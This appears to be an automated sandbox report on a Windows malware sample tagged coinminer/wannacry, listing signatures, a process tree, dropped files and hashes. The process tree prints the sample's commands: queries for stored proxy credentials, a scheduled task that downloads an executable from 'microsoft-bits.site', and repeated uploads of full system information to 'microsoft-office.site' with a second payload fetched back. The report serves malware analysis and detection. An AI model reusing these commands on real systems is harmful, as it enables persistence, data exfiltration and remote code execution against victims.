Analysis

  • max time kernel
    148s
  • max time network
    134s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    01/10/2026, 09:54

General

  • Target
    2026-09-30_94aab46ba081087b9cd98679761fd176_coinminer_elex_wannacry.exe
  • Size 877KB
  • Sample261001-lxpt2avcnd
  • SHA256 e473bd432338fff22a59d31932318ac2e4914e6c786ae82871ce73cce863a269
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Executes dropped EXE 4 IoCs
  • UPX packed file 7 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 6 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 39 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 10 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • System Time Discovery 1 TTPs 3 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Delays execution with timeout.exe 10 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Kills process with taskkill 3 IoCs
  • Runs ping.exe 1 TTPs 7 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-09-30_94aab46ba081087b9cd98679761fd176_coinminer_elex_wannacry.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-09-30_94aab46ba081087b9cd98679761fd176_coinminer_elex_wannacry.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:5380
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\14779.cmd" "
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2816
      • C:\Windows\SysWOW64\chcp.com
        chcp 1251
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4596
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c Reg.exe Query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"|Find /I "ProxyServer"
        3⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3068
        • C:\Windows\SysWOW64\reg.exe
          Reg.exe Query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4060
        • C:\Windows\SysWOW64\find.exe
          Find /I "ProxyServer"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:5796
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c Reg.exe Query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"|Find /I "ProxyUser"
        3⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4192
        • C:\Windows\SysWOW64\reg.exe
          Reg.exe Query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2644
        • C:\Windows\SysWOW64\find.exe
          Find /I "ProxyUser"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1204
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c Reg.exe Query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"|Find /I "ProxyPass"
        3⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2956
        • C:\Windows\SysWOW64\reg.exe
          Reg.exe Query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:5360
        • C:\Windows\SysWOW64\find.exe
          Find /I "ProxyPass"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4404
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c vol c:
        3⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        PID:244
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c vol c:
        3⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        PID:628
      • C:\Windows\SysWOW64\systeminfo.exe
        systeminfo
        3⤵
        • System Location Discovery: System Language Discovery
        • Gathers system information
        PID:2380
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /Create /SC MINUTE /MO 30 /F /tn ie_cash_16DB408B_01 /tr "C:\Users\Admin\AppData\Roaming\Microsoft\IE\ie_cash.exe -b -c -t 5 'http://microsoft-bits.site/CZIEFEEQ_16DB408B/setup.exe' -P 'C:\Users\Admin'"
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:3776
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /Create /SC MINUTE /MO 32 /F /tn ie_cash_16DB408B_02 /tr "C:\Users\Admin\setup.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:1092
      • C:\Windows\SysWOW64\PING.EXE
        ping -n 5 8.8.8.8
        3⤵
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:2824
      • C:\Windows\SysWOW64\timeout.exe
        timeout /t 31
        3⤵
        • System Location Discovery: System Language Discovery
        • Delays execution with timeout.exe
        PID:5768
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im MicrosoftCreate.exe
        3⤵
        • System Location Discovery: System Language Discovery
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1088
      • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\MicrosoftCreate.exe
        MicrosoftCreate.exe --post-data="versiya=arm_28.02&comp=CZIEFEEQ&id=CZIEFEEQ_16DB408B&sysinfo=Host Name: WELLSMITHPC+###OS Name: Microsoft Windows 11 Enterprise LTSC+###OS Version: 10.0.26100 N/A Build 26100+###OS Manufacturer: Microsoft Corporation+###OS Configuration: Standalone Workstation+###OS Build Type: Multiprocessor Free+###Registered Owner: WellSmith+###Registered Organization: N/A+###Product ID: 00490-10000-00000-AA671+###Original Install Date: 2/28/2025, 11:22:41 AM+###System Boot Time: 2/28/2025, 1:06:07 AM+###System Manufacturer: Gigabyte Technology Co., Ltd.+###System Model: B660M GAMING X DDR4+###System Type: x64-based PC+###Processor(s): 1 Processor(s) Installed.+###[01]: Intel64 Family 6 Model 151 Stepping 2 GenuineIntel ~2500 Mhz+###BIOS Version: SeaBIOS rel-1.16.3-0-ga6ed6b70-prebuilt.dady.org, 4/1/2014+###Windows Directory: C:\WINDOWS+###System Directory: C:\WINDOWS\system32+###Boot Device: \Device\HarddiskVolume1+###System Locale: en-us;English (United States)+###Input Locale: en-us;English (United States)+###Time Zone: (UTC+00:00) Dublin, Edinburgh, Lisbon, London+###Total Physical Memory: 16,154 MB+###Available Physical Memory: 14,110 MB+###Virtual Memory: Max Size: 19,098 MB+###Virtual Memory: Available: 17,301 MB+###Virtual Memory: In Use: 1,797 MB+###Page File Location(s): C:\pagefile.sys+###Domain: WORKGROUP+###Logon Server: \\CZIEFEEQ+###Hotfix(s): N/A+###Network Card(s): 1 NIC(s) Installed.+###[01]: Realtek RTL8139C+ Fast Ethernet NIC+###Connection Name: Ethernet+###DHCP Enabled: No+###IP address(es)+###[01]: 10.127.0.22+###[02]: fe80::a228:e8d9:eb63:9889+###Virtualization-based security: Status: Not enabled+###App Control for Business policy: Enforced+###App Control for Business user mode policy: Audit+###Security Features Enabled:+###Hyper-V Requirements: VM Monitor Mode Extensions: Yes+###Virtualization Enabled In Firmware: Yes+###Second Level Address Translation: Yes+###Data Execution Prevention Available: Yes+###" "http://microsoft-office.site" -q -N http://microsoft-office.site -O richtime.exe
        3⤵
        • Executes dropped EXE
        • Reads the TCP/IP host and domain name from the registry
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        • System Time Discovery
        PID:3548
      • C:\Windows\SysWOW64\timeout.exe
        timeout /T 4
        3⤵
        • System Location Discovery: System Language Discovery
        • Delays execution with timeout.exe
        PID:6020
      • C:\Windows\SysWOW64\timeout.exe
        timeout /t 27
        3⤵
        • System Location Discovery: System Language Discovery
        • Delays execution with timeout.exe
        PID:3208
      • C:\Windows\SysWOW64\PING.EXE
        ping -n 3 8.8.8.8
        3⤵
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:3944
      • C:\Windows\SysWOW64\PING.EXE
        ping -n 5 8.8.8.8
        3⤵
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:3584
      • C:\Windows\SysWOW64\timeout.exe
        timeout /t 19
        3⤵
        • System Location Discovery: System Language Discovery
        • Delays execution with timeout.exe
        PID:2388
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im MicrosoftCreate.exe
        3⤵
        • System Location Discovery: System Language Discovery
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2568
      • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\MicrosoftCreate.exe
        MicrosoftCreate.exe --post-data="versiya=arm_28.02&comp=CZIEFEEQ&id=CZIEFEEQ_16DB408B&sysinfo=Host Name: WELLSMITHPC+###OS Name: Microsoft Windows 11 Enterprise LTSC+###OS Version: 10.0.26100 N/A Build 26100+###OS Manufacturer: Microsoft Corporation+###OS Configuration: Standalone Workstation+###OS Build Type: Multiprocessor Free+###Registered Owner: WellSmith+###Registered Organization: N/A+###Product ID: 00490-10000-00000-AA671+###Original Install Date: 2/28/2025, 11:22:41 AM+###System Boot Time: 2/28/2025, 1:06:07 AM+###System Manufacturer: Gigabyte Technology Co., Ltd.+###System Model: B660M GAMING X DDR4+###System Type: x64-based PC+###Processor(s): 1 Processor(s) Installed.+###[01]: Intel64 Family 6 Model 151 Stepping 2 GenuineIntel ~2500 Mhz+###BIOS Version: SeaBIOS rel-1.16.3-0-ga6ed6b70-prebuilt.dady.org, 4/1/2014+###Windows Directory: C:\WINDOWS+###System Directory: C:\WINDOWS\system32+###Boot Device: \Device\HarddiskVolume1+###System Locale: en-us;English (United States)+###Input Locale: en-us;English (United States)+###Time Zone: (UTC+00:00) Dublin, Edinburgh, Lisbon, London+###Total Physical Memory: 16,154 MB+###Available Physical Memory: 14,110 MB+###Virtual Memory: Max Size: 19,098 MB+###Virtual Memory: Available: 17,301 MB+###Virtual Memory: In Use: 1,797 MB+###Page File Location(s): C:\pagefile.sys+###Domain: WORKGROUP+###Logon Server: \\CZIEFEEQ+###Hotfix(s): N/A+###Network Card(s): 1 NIC(s) Installed.+###[01]: Realtek RTL8139C+ Fast Ethernet NIC+###Connection Name: Ethernet+###DHCP Enabled: No+###IP address(es)+###[01]: 10.127.0.22+###[02]: fe80::a228:e8d9:eb63:9889+###Virtualization-based security: Status: Not enabled+###App Control for Business policy: Enforced+###App Control for Business user mode policy: Audit+###Security Features Enabled:+###Hyper-V Requirements: VM Monitor Mode Extensions: Yes+###Virtualization Enabled In Firmware: Yes+###Second Level Address Translation: Yes+###Data Execution Prevention Available: Yes+###" "http://microsoft-office.site" -q -N http://microsoft-office.site -O richtime.exe
        3⤵
        • Executes dropped EXE
        • Reads the TCP/IP host and domain name from the registry
        • System Network Configuration Discovery: Internet Connection Discovery
        • System Time Discovery
        PID:5036
      • C:\Windows\SysWOW64\timeout.exe
        timeout /T 4
        3⤵
        • System Location Discovery: System Language Discovery
        • Delays execution with timeout.exe
        PID:2116
      • C:\Windows\SysWOW64\timeout.exe
        timeout /t 13
        3⤵
        • System Location Discovery: System Language Discovery
        • Delays execution with timeout.exe
        PID:2420
      • C:\Windows\SysWOW64\PING.EXE
        ping -n 3 8.8.8.8
        3⤵
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:3252
      • C:\Windows\SysWOW64\PING.EXE
        ping -n 5 8.8.8.8
        3⤵
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:3144
      • C:\Windows\SysWOW64\timeout.exe
        timeout /t 9
        3⤵
        • System Location Discovery: System Language Discovery
        • Delays execution with timeout.exe
        PID:2976
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im MicrosoftCreate.exe
        3⤵
        • System Location Discovery: System Language Discovery
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:5596
      • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\MicrosoftCreate.exe
        MicrosoftCreate.exe --post-data="versiya=arm_28.02&comp=CZIEFEEQ&id=CZIEFEEQ_16DB408B&sysinfo=Host Name: WELLSMITHPC+###OS Name: Microsoft Windows 11 Enterprise LTSC+###OS Version: 10.0.26100 N/A Build 26100+###OS Manufacturer: Microsoft Corporation+###OS Configuration: Standalone Workstation+###OS Build Type: Multiprocessor Free+###Registered Owner: WellSmith+###Registered Organization: N/A+###Product ID: 00490-10000-00000-AA671+###Original Install Date: 2/28/2025, 11:22:41 AM+###System Boot Time: 2/28/2025, 1:06:07 AM+###System Manufacturer: Gigabyte Technology Co., Ltd.+###System Model: B660M GAMING X DDR4+###System Type: x64-based PC+###Processor(s): 1 Processor(s) Installed.+###[01]: Intel64 Family 6 Model 151 Stepping 2 GenuineIntel ~2500 Mhz+###BIOS Version: SeaBIOS rel-1.16.3-0-ga6ed6b70-prebuilt.dady.org, 4/1/2014+###Windows Directory: C:\WINDOWS+###System Directory: C:\WINDOWS\system32+###Boot Device: \Device\HarddiskVolume1+###System Locale: en-us;English (United States)+###Input Locale: en-us;English (United States)+###Time Zone: (UTC+00:00) Dublin, Edinburgh, Lisbon, London+###Total Physical Memory: 16,154 MB+###Available Physical Memory: 14,110 MB+###Virtual Memory: Max Size: 19,098 MB+###Virtual Memory: Available: 17,301 MB+###Virtual Memory: In Use: 1,797 MB+###Page File Location(s): C:\pagefile.sys+###Domain: WORKGROUP+###Logon Server: \\CZIEFEEQ+###Hotfix(s): N/A+###Network Card(s): 1 NIC(s) Installed.+###[01]: Realtek RTL8139C+ Fast Ethernet NIC+###Connection Name: Ethernet+###DHCP Enabled: No+###IP address(es)+###[01]: 10.127.0.22+###[02]: fe80::a228:e8d9:eb63:9889+###Virtualization-based security: Status: Not enabled+###App Control for Business policy: Enforced+###App Control for Business user mode policy: Audit+###Security Features Enabled:+###Hyper-V Requirements: VM Monitor Mode Extensions: Yes+###Virtualization Enabled In Firmware: Yes+###Second Level Address Translation: Yes+###Data Execution Prevention Available: Yes+###" "http://microsoft-office.site" -q -N http://microsoft-office.site -O richtime.exe
        3⤵
        • Executes dropped EXE
        • Reads the TCP/IP host and domain name from the registry
        • System Network Configuration Discovery: Internet Connection Discovery
        • System Time Discovery
        PID:4692
      • C:\Windows\SysWOW64\timeout.exe
        timeout /T 4
        3⤵
        • System Location Discovery: System Language Discovery
        • Delays execution with timeout.exe
        PID:760
      • C:\Windows\SysWOW64\timeout.exe
        timeout /t 9
        3⤵
        • System Location Discovery: System Language Discovery
        • Delays execution with timeout.exe
        PID:4384
      • C:\Windows\SysWOW64\PING.EXE
        ping -n 3 8.8.8.8
        3⤵
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:3836
      • C:\Windows\SysWOW64\PING.EXE
        ping -n 5 8.8.8.8
        3⤵
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:2544
      • C:\Windows\SysWOW64\timeout.exe
        timeout /t 7
        3⤵
        • System Location Discovery: System Language Discovery
        • Delays execution with timeout.exe
        PID:1208
  • C:\Users\Admin\AppData\Roaming\Microsoft\IE\ie_cash.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\IE\ie_cash.exe
    1⤵
    • Executes dropped EXE
    • System Location Discovery: System Language Discovery
    PID:2684

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        14779.cmd

        • Path C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\14779.cmd
        • Size 5KB
        • SHA256 385ac035a8ede01373e248291ccea5dd588170acfa0adbe13ae74c14c123499e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MicrosoftCreate.exe

        • Path C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\MicrosoftCreate.exe
        • Size 392KB
        • SHA256 a48ad33695a44de887bba8f2f3174fd8fb01a46a19e3ec9078b0118647ccf599
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/2684-15-0x0000000000400000-0x00000000004EF000-memory.dmp

        memory/2684-16-0x0000000000400000-0x00000000004EF000-memory.dmp

        memory/3548-18-0x0000000000400000-0x00000000004EF000-memory.dmp

        memory/4692-24-0x0000000000400000-0x00000000004EF000-memory.dmp

        memory/5036-20-0x0000000000400000-0x00000000004EF000-memory.dmp

        memory/5036-22-0x0000000000400000-0x00000000004EF000-memory.dmp